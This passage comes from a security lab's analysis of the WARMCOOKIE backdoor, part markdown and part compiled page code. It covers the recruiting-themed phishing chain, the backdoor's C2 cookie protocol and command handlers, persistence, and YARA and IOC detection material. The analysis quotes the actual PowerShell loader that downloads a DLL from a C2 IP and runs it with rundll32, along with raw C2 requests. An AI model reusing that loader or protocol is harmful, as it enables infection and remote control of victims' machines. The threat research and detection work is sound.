request using User Agent: `Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705`.\n\n```curl\nGET http://185.49.69[.]41/ HTTP/1.1\nCookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=\nUser-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)\nHost: 185.49.69[.]41\nConnection: Keep-Alive\nPragma: no-cache\n```\n\nBelow is the CyberChef recipe of the HTTP cookie parameter decrypted from the first request, followed by a legend of the fields: \n\n![Decryption of HTTP cookie via CyberChef](/assets/images/dipping-into-danger/image24.png \"Decryption of HTTP cookie via CyberChef\")\n\n![Decryption of HTTP cookie parameters via ImHex](/assets/images/dipping-into-danger/image20.png \"Decryption of HTTP cookie parameters via ImHex\")\n\nWARMCOOKIE inserts a few integrity checks by generating hashes using the previously described checksum function. For example, the data in the decrypted HTTP cookie parameter from the 4th byte to the end is hashed and placed at the beginning (offset 0). Using the example above, this checksum value is `0xe51387e9`\n\nBefore the malware can receive instructions, integrity checks are also used to verify the incoming response from the C2 server. In this scenario, the C2 server produces the expected checksum for the data sent to the victim machine. This is located in the first four bytes of the request.\n \n![Checksum verification from incoming server request](/assets/images/dipping-into-danger/image7.png \"Checksum verification from incoming server request\")\n\nBelow is a demonstration of this integrity check where the request data’s hash is `0x50d26cc3`.\n\n![Integrity check via CyberChef](/assets/images/dipping-into-danger/image39.png \"Integrity check via CyberChef\")\n\nIf the checksum matches, WARMCOOKIE reads the command ID at the 8th-byte offset of the request to proceed to move to the next command handler.\n\n### Bot functionality\n\nWARMCOOKIE provides 7 command handlers for threat actors to retrieve additional victim information, record screenshots, launch additional payloads, etc. The provided functionality is relatively straightforward, allowing threat groups that need a lightweight backdoor to monitor victims and deploy further damaging payloads such as ransomware.\n\n| Command ID | Description |\n|------------|---------------------------------------------------------|\n| 1 | Retrieve victim details |\n| 2 | Record screenshots of victim machine |\n| 3 | Retrieve installed programs via Uninstall registry path |\n| 4 | Command-line execution (cmd.exe /c) |\n| 5 | Write file to victim machine |\n| 6 | Read file from victim machine |\n| 10 | Delete scheduled task persistence |\n\n#### Retrieve victim details - command ID (1)\n\nThis handler fingerprints and identifies the victim machines by collecting the IP address and CPU information. Interestingly, the imports required for this handler are statically imported. \n\n![Retrieving CPU info (Handler 1)](/assets/images/dipping-into-danger/image16.png \"Retrieving CPU info (Handler 1)\")\n\nThe malware uses HTTP `POST` requests when sending data back to the C2 server. The HTTP POST request data is encrypted via RC4 and sent over the network in raw form. In addition, the IP address and CPU information are Base64 encoded.\n\n```curl\nPOST http://185.49.69[.]41/ HTTP/1.1\nCookie: x41OYTpmEwUUKm2AvnkS2onu1XqjP6shVvosIXkAD957a9RplEGFsUjR8f/lP1O8EERtf+idl0bimsKh8mRA7+dL0Yk09SwgTUKBu9WEK4RwjhkYuxd2JGXxhlA=\nUser-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)\nHost: 185.49.69.41\nContent-Length: 136\nConnection: Keep-Alive\nPragma: no-cache\n\n qI:f*m yڂ z ? ! ,!w k i A K k8 .(M ޣ\u003e ދ u[ôz 0 -U~ 9 z G( *X o_ _ * Y, q glTs XI8b\\)W W\"\n```\n\nAfter decrypting the HTTP POST request data, this presents a similar structure as before, where the data is front-loaded with the checksum values, offsets, and sizes to the pertinent information targeted by the handler. In this case, the Base64 encoded data is the IP Address and CPU info.\n\n![Decrypted POST Request Data from Handler 1](/assets/images/dipping-into-danger/image36.png \"Decrypted POST Request Data from Handler 1\")\n\n| Encoded Value | Decoded Value |\n|------------------------------------------------------------------|---------------------------------------------------------|\n| MTkyLjE2OC4xODIuMTMx | 192.168.182.131 |\n| QU1EIFJ5emVuIDcgNzgwMFgzRCA4LUNvcmUgUHJvY2Vzc29yICAgICAgICAgICA= | AMD Ryzen 7 7800X3D 8-Core Processor |\n\n#### Screenshot capture - command ID (2)\n\nThe ability to capture screenshots from victim machines provides a wide range of malicious options, such as stealing sensitive information displayed on the screen or actively monitoring the victim’s machine. This handler dynamically loads Windows DLLs used for graphics and drawing operations, such as `GDI32.DLL` and `GDIPLUS.DLL`, and then uses various APIs, such as `BitBlt`,`CreateCompatibleBitmap`, and `GetSystemMetrics` to generate the screenshot.\n\n![Screen capture via BitBlt](/assets/images/dipping-into-danger/image26.png \"Screen capture via BitBlt\")\n\nThe collected screenshot is encrypted with RC4 and sent through a POST request along with the checksum data.\n\n![Decrypted POST Request Data from Handler 3](/assets/images/dipping-into-danger/image38.png \"Decrypted POST Request Data from Handler 3\")\n\nBy looking for the file header `JPEG File Interchange Format (JFIF)`, we can carve out the image, and find a high-quality image of our sandbox machine (below) based on our request to this handler.\n\n![Desktop capture from VM sandbox](/assets/images/dipping-into-danger/image29.jpg \"Desktop capture from VM sandbox\")\n\n#### Retrieve installed programs - command ID (3)\n\nThis handler enumerates the installed programs on the victim machine via the registry key:\n\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\n```\n\n![Grabbing the installed programs from the registry](/assets/images/dipping-into-danger/image12.png \"Grabbing the installed programs from the registry\")\n\nThe program's name, version, and installation date are Base64 encoded and placed into a pipe-delimited format along with the checksum data, offsets, and sizing.\n\n![Decrypted POST Request Data from Handler 3](/assets/images/dipping-into-danger/image15.png \"Decrypted POST Request Data from Handler 3\")\n\nBelow is an example of one of the registry entries:\n\n| Encoded Value | Decoded Value |\n|--------------------------|-------------------|\n| Ny1aaXAgMTguMDEgKHg2NCk= | 7-Zip 18.01 (x64) |\n\n#### Command-line execution - command ID (4)\n\nWARMCOOKIE uses this handler to provide backdoor access to the victim machine. The operator provides an argument that gets executed to `cmd.exe /c `without a console window.\n\n![New process creation with custom command line](/assets/images/dipping-into-danger/image37.png \"New process creation with custom command line\")\n\nIn the example below, `whoami` is provided as the argument:\n\n![Process tree with command-lines](/assets/images/dipping-into-danger/image33.png \"Process tree with command-lines\")\n\nThis function reads the output from the provided command and stores it in Base64, where it’s sent back to the C2 server. Below is an example of the decrypted data for this handler:\n\n![Decrypted POST Request Data from Handler 4](/assets/images/dipping-into-danger/image30.png \"Decrypted POST Request Data from Handler 4\")\n\n| Encoded Value | Decoded Value |\n|------------------------------|---------------------|\n| ZGVza3RvcC0yYzNpcWhvXHJlbQ0K | desktop-2c3iqho\\rem |\n\n#### Write file - command ID (5)\n\nWARMCOOKIE can drop files on the victim machine; the threat actors provide the file path and file data.\n\n![File Creation within Handler 5](/assets/images/dipping-into-danger/image28.png \"File Creation within Handler 5\")\n\nAs a test, we can write a file within a directory with some data and then read it in the next handler.\n\n![Custom file creation](/assets/images/dipping-into-danger/image27.png \"Custom file creation\")\n\n![Data written to custom file](/assets/images/dipping-into-danger/image19.png \"Data written to custom file\")\n\nDepending on the file write result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values:\n\n* `OK`\n* `ERROR: Cannot write file`\n\n![Decrypted POST Request Data from Handler 5](/assets/images/dipping-into-danger/image2.png \"Decrypted POST Request Data from Handler 5\")\n\n#### Read file - command ID (6)\n\nThis handler can read file content from machines infected with WARMCOOKIE. The threat actor needs to provide the file path as the argument. \n\n![Reading files within Handler 6](/assets/images/dipping-into-danger/image25.png \"Reading files within Handler 6\")\n\nDepending on the file read result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values along with the file contents:\n\n* `OK (See 'Files' tab)`\n* `ERROR: Cannot read file`\n\n![Decrypted POST Request Data from Handler 6](/assets/images/dipping-into-danger/image5.png \"Decrypted POST Request Data from Handler 6\")\n\nBased on the previous wording around a `Files` tab, the WARMCOOKIE operators may use a GUI element.\n\n#### Remove persistence - command ID (10)\n\nThis handler removes the previously configured scheduled task with the name `RtlUpd`. By leveraging COM, it will call `DeleteFileW` within `mstask.dll` to remove the task.\n\n![Callstack showing task deletion via COM](/assets/images/dipping-into-danger/image4.png \"Callstack showing task deletion via COM\")\n\n## IDA string decryption tool\n\nElastic Security Labs is releasing an IDAPython script used to decrypt strings from WARMCOOKIE. The decrypted strings will be placed in the IDA Pro decompiler helping analysts identify key functionality. The string decryption and IDA commenting tool can be downloaded [here](https://github.com/elastic/labs-releases/tree/main/tools/warmcookie).\n\n## Conclusion\n\nWARMCOOKIE is a newly discovered backdoor that is gaining popularity and is being used in campaigns targeting users across the globe. Our team believes this malware represents a formidable threat that provides the capability to access target environments and push additional types of malware down to victims. While there is room for improvement on the malware development side, we believe these minor issues will be addressed over time. Elastic Security Labs will continue to monitor this threat and recommends that the industry do the same.\n\n## WARMCOOKIE and MITRE ATT\u0026CK\n\nElastic uses the [MITRE ATT\u0026CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n* [Initial Access](https://attack.mitre.org/tactics/TA0001)\n* [Execution](https://attack.mitre.org/tactics/TA0002/)\n* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)\n* [Discovery](https://attack.mitre.org/tactics/TA0007)\n* [Command and Control](https://attack.mitre.org/tactics/TA0011)\n* [Exfiltration](https://attack.mitre.org/tactics/TA0010/)\n\n### Techniques\n\nTechniques represent how an adversary achieves a tactical goal by performing an action.\n\n* [Phishing](https://attack.mitre.org/techniques/T1566/)\n* [User Execution: Malicious Link](https://attack.mitre.org/techniques/T1204/001/)\n* [Command and Scripting Interpreter: PowerShell](https://attack.mitre.org/techniques/T1059/001/)\n* [System Information Discovery](https://attack.mitre.org/techniques/T1082/)\n* [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053/)\n* [Screen Capture](https://attack.mitre.org/techniques/T1113/)\n* [Command and Scripting Interpreter: Windows Command Shell](https://attack.mitre.org/techniques/T1059/003/)\n\n## Preventing and detecting WARMCOOKIE\n\n### Prevention\n\n* [Suspicious PowerShell Downloads](https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml)\n* [Scheduled Task Creation by an Unusual Process](https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml)\n* [Suspicious PowerShell Execution via Windows Scripts](https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_execution.toml)\n* [RunDLL32/Regsvr32 Loads a DLL Downloaded via BITS](https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/defense_evasion_rundll32_regsvr32_loads_a_dll_downloaded_via_bits.toml)\n* [RunDLL32 with Unusual Arguments](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml)\n* [Windows.Trojan.WarmCookie](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar)\n\n### Detection w/YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify [WARMCOOKIE](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar):\n\n```yara\nrule Windows_Trojan_WarmCookie_7d32fa90 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-04-29\"\n last_modified = \"2024-05-08\"\n os = \"Windows\"\n arch = \"x86\"\n threat_name = \"Windows.Trojan.WarmCookie\"\n license = \"Elastic License v2\"\n\n strings:\n $seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }\n $seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }\n $seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }\n $seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }\n $plain_str1 = \"release.dll\" ascii fullword\n $plain_str2 = \"\\\"Main Invoked.\\\"\" ascii fullword\n $plain_str3 = \"\\\"Main Returned.\\\"\" ascii fullword\n $decrypt_str1 = \"ERROR: Cannot write file\" wide fullword\n $decrypt_str2 = \"OK (No output data)\" wide fullword\n $decrypt_str3 = \"OK (See 'Files' tab)\" wide fullword\n $decrypt_str4 = \"cmd.exe /c %ls\" wide fullword\n $decrypt_str5 = \"Cookie:\" wide fullword\n $decrypt_str6 = \"%ls\\\\*.*\" wide fullword\n condition:\n (3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)\n}\n```\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/warmcookie) in both ECS and STIX format.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|------------------------------------------------------------------|-----------|------------|----------------------|\n| `ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13` | SHA-256 | RtlUpd.dll | WARMCOOKIE |\n| `omeindia[.]com` | domain | | Phishing link |\n| `assets.work-for[.]top` | domain | | Landing page |\n| `45.9.74[.]135` | ipv4-addr | | Landing page |\n| `80.66.88[.]146` | ipv4-addr | | WARMCOOKIE C2 server |\n| `185.49.69[.]41` | ipv4-addr | | WARMCOOKIE C2 server |\n\n## References\n\nThe following were referenced throughout the above research:\n\n* [https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign](https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign)\n* [https://x.com/Cryptolaemus1/status/1785423804577034362](https://x.com/Cryptolaemus1/status/1785423804577034362)\n\n## Appendix\n\n**Checksum example**\n\n```python\ndef calculate_checksum(str_input, str_len, i):\n if i == 0:\n i = 0xFFFFFFFF\n if i == -1:\n i = 0\n\n for idx in range(0, str_len, 2):\n v6 = str_input[idx] | (str_input[idx + 1] \u003c\u003c 8)\n for _ in range(16):\n if (v6 ^ i) \u0026 1:\n i = ((i \u003e\u003e 1) ^ 0xEDB88320) \u0026 0xFFFFFFFF\n else:\n i = (i \u003e\u003e 1) \u0026 0xFFFFFFFF\n v6 \u003e\u003e= 1\n\n return ~i \u0026 0xFFFFFFFF\n\n\nserial_volume = 0x0A2C9AD2F\n\nmutex = \"f92e6f3c-9cc3-4be0-966c-1be421e69140\".encode(\"utf-16le\")\nmutex_result = calculate_checksum(mutex, len(mutex), -1)\n\nusername = \"REM\\x00\".encode(\"utf-16le\")\nusername_result = calculate_checksum(username, len(username), -1)\n\ncomputer_name = \"DESKTOP-2C3IQHO\".encode(\"utf-16le\")\ncomputer_name_result = calculate_checksum(computer_name, len(computer_name), -1)\n\nprint(f\"Mutex: {hex(mutex_result)}\")\nprint(f\"Username: {hex(username_result)}\")\nprint(f\"Computer Name: {hex(computer_name_result)}\")\nprint(f\"#1 Checksum: {hex(serial_volume ^ mutex_result)}\")\nprint(f\"#2 Checksum: {hex(username_result ^ computer_name_result)}\")\n```","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var t in e)a(n,t,{get:e[t],enumerable:!0})},d=(n,e,t,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of g(e))!u.call(n,r)\u0026\u0026r!==t\u0026\u0026a(n,r,{get:()=\u003ee[r],enumerable:!(s=m(e,r))||s.enumerable});return n};var y=(n,e,t)=\u003e(t=n!=null?h(p(n)):{},d(e||!n||!n.__esModule?a(t,\"default\",{value:n,enumerable:!0}):t,n)),b=n=\u003ed(a({},\"__esModule\",{value:!0}),n);var o=f((R,l)=\u003e{l.exports=_jsx_runtime});var T={};w(T,{default:()=\u003ek,frontmatter:()=\u003ev});var i=y(o()),v={title:\"Dipping into Danger: The WARMCOOKIE backdoor\",slug:\"dipping-into-danger\",date:\"2024-06-12\",subtitle:\"Novel malware discovery by Elastic Security Labs masquerades as a recruiting offer\",description:\"Elastic Security Labs observed threat actors masquerading as recruiting firms to deploy a new malware backdoor called WARMCOOKIE. This malware has standard backdoor capabilities, including capturing screenshots, executing additional malware, and reading/writing files.\",author:[{slug:\"daniel-stepanic\"}],image:\"warmcookie.jpg\",category:[{slug:\"malware-analysis\"}],tags:[\"warmcookie\",\"backdoor\",\"ref6127\"]};function c(n){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",code:\"code\",ul:\"ul\",li:\"li\",img:\"img\",pre:\"pre\",h3:\"h3\",h4:\"h4\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",strong:\"strong\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"warmcookie-at-a-glance\",children:\"WARMCOOKIE at a glance\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Security Labs observed a wave of email campaigns in late April targeting environments by deploying a new backdoor we\\u2019re calling WARMCOOKIE based on data sent through the HTTP cookie parameter. During initial triage, our team identified code overlap with a previously publicly reported \",(0,i.jsx)(e.a,{href:\"https://esentire.com/blog/esentire-threat-intelligence-malware-analysis-resident-campaign\",rel:\"nofollow\",children:\"sample\"}),\" by eSentire. The unnamed sample (\",(0,i.jsx)(e.code,{children:\"resident2.exe\"}),\") discussed in the post appears to be an older or deviated version of WARMCOOKIE. While some features are similar, such as the implementation of string obfuscation, WARMCOOKIE contains differing functionality. Our team is seeing this threat distributed daily with the use of recruiting and job themes targeting individuals.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"WARMCOOKIE appears to be an initial backdoor tool used to scout out victim networks and deploy additional payloads. Each sample is compiled with a hard-coded C2 IP address and RC4 key.\"}),`\n`,(0,i.jsx)(e.p,{children:\"This post will review an observed campaign and this new malware\\u2019s functionality. While the malware has a limited number of capabilities, it shouldn\\u2019t be taken lightly as it\\u2019s actively being used and impacting organizations at a global scale.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"REF6127 represents recruiting-themed phishing campaigns to deploy a new Windows backdoor: WARMCOOKIE\"}),`\n`,(0,i.jsx)(e.li,{children:\"WARMCOOKIE is a newly discovered backdoor used to fingerprint a machine, capture screenshots of the victim machine, and deploy additional payloads\"}),`\n`,(0,i.jsx)(e.li,{children:\"Threat actors are spinning up new domains and infrastructure weekly to support these campaigns\"}),`\n`,(0,i.jsx)(e.li,{children:\"This research includes an IDAPython script to decrypt strings from WARMCOOKIE\"}),`\n`,(0,i.jsx)(e.li,{children:\"Elastic Security provides prevention and visibility capabilities across the entire WARMCOOKIE infection chain\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"ref6127-campaign-overview\",children:\"REF6127 campaign overview\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image10.png\",alt:\"WARMCOOKIE execution flow\",title:\"WARMCOOKIE execution flow\",width:\"1440\",height:\"1021\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Since late April 2024, our team has observed new phishing campaigns leveraging lures tied to recruiting firms. These emails targeted individuals by their names and their current employer, enticing victims to pursue new job opportunities by clicking a link to an internal system to view a job description. Below is an example of the phishing email collected from previous open source reporting.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image14.png\",alt:\"Phishing email - Subject: \\u201CWe\\u2019re Interested\\u201D\",title:\"Phishing Email - Subject: \\u201CWe\\u2019re Interested\\u201D\",width:\"1440\",height:\"679\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Once clicked, the users hit a landing page that looks like a legitimate page specifically targeted for them. There, they are prompted to download a document by solving a CAPTCHA challenge. The landing pages resemble previous campaigns documented by Google Cloud\\u2019s security team when discussing a new variant of \",(0,i.jsx)(e.a,{href:\"https://cloud.google.com/blog/topics/threat-intelligence/rm3-ldr4-ursnif-banking-fraud/\",rel:\"nofollow\",children:\"URSNIF\"}),\". Below is an example of the landing page collected from previous open source reporting.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image6.png\",alt:\"Landing page\",title:\"Landing page\",width:\"1440\",height:\"982\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Once the CAPTCHA is solved, an obfuscated JavaScript file is downloaded from the page. Our sample was named \",(0,i.jsx)(e.code,{children:\"Update_23_04_2024_5689382.js\"}),\"; however, other samples used a different but similar naming structure.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"This obfuscated script runs PowerShell, kicking off the first task to load WARMCOOKIE.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image17.png\",alt:\"Initial execution chain as seen in Elastic Security for Endpoint\",title:\"Initial execution chain as seen in Elastic Security for Endpoint\",width:\"922\",height:\"479\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The PowerShell script abuses the Background Intelligent Transfer Service (BITS) to download WARMCOOKIE and run the DLL with the \",(0,i.jsx)(e.code,{children:\"Start\"}),\" export.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-powershell\",children:`start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\\\\' + \n [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source \n 'http://80.66.88[.]146/data/5fb6dd81093a0d6812c17b12f139ce35' \n -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + \n ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job\n`})}),`\n`,(0,i.jsx)(e.h3,{id:\"ref6127-infrastructure-overview\",children:\"REF6127 infrastructure overview\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"By leveraging tools like \",(0,i.jsx)(e.a,{href:\"https://urlscan.io/ip/45.9.74.135\",rel:\"nofollow\",children:\"urlscan.io\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/ip-address/45.9.74.135/relations\",rel:\"nofollow\",children:\"VirusTotal\"}),\", we observed the threat actor continually generating new landing pages rapidly on IP address \",(0,i.jsx)(e.code,{children:\"45.9.74[.]135\"}),\". The actor pushed to target different recruiting firms in combination with keywords related to the job search industry.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image3.png\",alt:\"Domains associated with 45.9.74[.]135\",title:\"Domains associated with 45.9.74[.]135\",width:\"1123\",height:\"264\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Before hitting each landing page, the adversary distances itself by using compromised infrastructure to host the initial phishing URL, which redirects the different landing pages.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image21.png\",alt:\"Phishing link redirection\",title:\"Phishing link redirection\",width:\"549\",height:\"206\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The threat actor generates new domains while the reputation catches up with each domain after each campaign run. At the time of writing, the threat actor can be seen pivoting to fresh domains without many reputation hits.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image18.png\",alt:\"Reputation for recently generated domains\",title:\"Reputation for recently generated domains\",width:\"1440\",height:\"785\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"warmcookie-malware-anlaysis\",children:\"WARMCOOKIE malware anlaysis\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"WARMCOOKIE is a Windows DLL used by the threat actor in two different stages. The first stage occurs right after the PowerShell download with the execution of WARMCOOKIE using the \",(0,i.jsx)(e.code,{children:\"Start\"}),\" export.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"stage-1\",children:\"Stage 1\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Stage 1 copies the downloaded DLL from a temporary directory with a random name, such as: \",(0,i.jsx)(e.code,{children:\"wid4ta3v.3gm,\"}),\" and places a copy of the DLL at \",(0,i.jsx)(e.code,{children:\"C:\\\\ProgramData\\\\RtlUpd\\\\RtlUpd.dll\"})]}),`\n`,(0,i.jsx)(e.p,{children:\"After the copy, the malware sets up persistence using COM with the Windows Task Scheduler to configure the DLL to run with the following parameters.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-cmd\",children:`\"C:\\\\WINDOWS\\\\system32\\\\rundll32.exe\" \"C:\\\\ProgramData\\\\RtlUpd\\\\RtlUpd.dll\",Start /p\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"With this design choice, WARMCOOKIE will run with System privileges from the Task Scheduler Engine. Below is a screenshot from \",(0,i.jsx)(e.a,{href:\"https://tria.ge/240528-2dhvdagb62/behavioral1\",rel:\"nofollow\",children:\"Hatching Triage\"}),\" showing these two stages:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image13.png\",alt:\"WARMCOOKIE - Execution chain\",title:\"WARMCOOKIE - Execution chain\",width:\"1271\",height:\"627\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"persistence\",children:\"Persistence\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"A critical part of the infection chain comes from the scheduled task, which is set up at the very beginning of the infection. The task name (\",(0,i.jsx)(e.code,{children:\"RtlUpd\"}),\") is scheduled to run every 10 minutes every day.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image34.png\",alt:\"Persistence - Scheduled Task\",title:\"Persistence - Scheduled Task\",width:\"798\",height:\"608\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"stage-2\",children:\"Stage 2\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The second stage is where the DLL is combined with the command line (\",(0,i.jsx)(e.code,{children:\"Start /p\"}),\") and contains the core functionality of WARMCOOKIE. The malware starts by looking for the DLL inside the temporary directory from the PowerShell download.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image23.png\",alt:\"Initial code within WARMCOOKIE\",title:\"Initial code within WARMCOOKIE\",width:\"876\",height:\"386\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"obfuscation\",children:\"Obfuscation\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"WARMCOOKIE protects its strings using a custom string decryption algorithm. The first four bytes of each encrypted string in the \",(0,i.jsx)(e.code,{children:\".rdata\"}),\" section represent the size, the next four-bytes represent the RC4 key, and the remaining bytes represent the string.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image22.png\",alt:\"String Obfuscation - Legend\",title:\"String Obfuscation - Legend\",width:\"698\",height:\"226\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is the CyberChef recipe using the bytes from the screenshot above:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image9.png\",alt:\"String Decryption via CyberChef\",title:\"String Decryption via CyberChef\",width:\"627\",height:\"292\"})}),`\n`,(0,i.jsx)(e.p,{children:\"One interesting observation is that the malware developer doesn\\u2019t always rotate the RC4 key between the encrypted strings.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image1.png\",alt:\"Same RC4 key for different encrypted string\",title:\"Same RC4 key for different encrypted string\",width:\"959\",height:\"366\"})}),`\n`,(0,i.jsx)(e.h4,{id:\"dynamic-api-loading\",children:\"Dynamic API loading\"}),`\n`,(0,i.jsx)(e.p,{children:\"To prevent static analysis from identifying its core functionality, WARMCOOKIE uses dynamic API loading. There is no API hashing/resolving, and the targeted DLLs and sensitive strings are protected using encryption.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image32.png\",alt:\"Dynamic API loading within WARMCOOKIE\",title:\"Dynamic API loading within WARMCOOKIE\",width:\"776\",height:\"408\"})}),`\n`,(0,i.jsx)(e.p,{children:\"As demonstrated in the previous image, the developer shows some consideration for OpSec: any decrypted string is wiped from memory immediately after use, potentially avoiding memory signature scans.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"anti-debugging\",children:\"Anti-debugging\"}),`\n`,(0,i.jsx)(e.p,{children:\"The malware contains a few anti-analysis checks commonly used to target sandboxes. These are based on logic for checking the active number of CPU processors and physical/virtual memory values.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dipping-into-danger/image40.png\",alt:\"Sandbox verification\",title:\"Sandbox 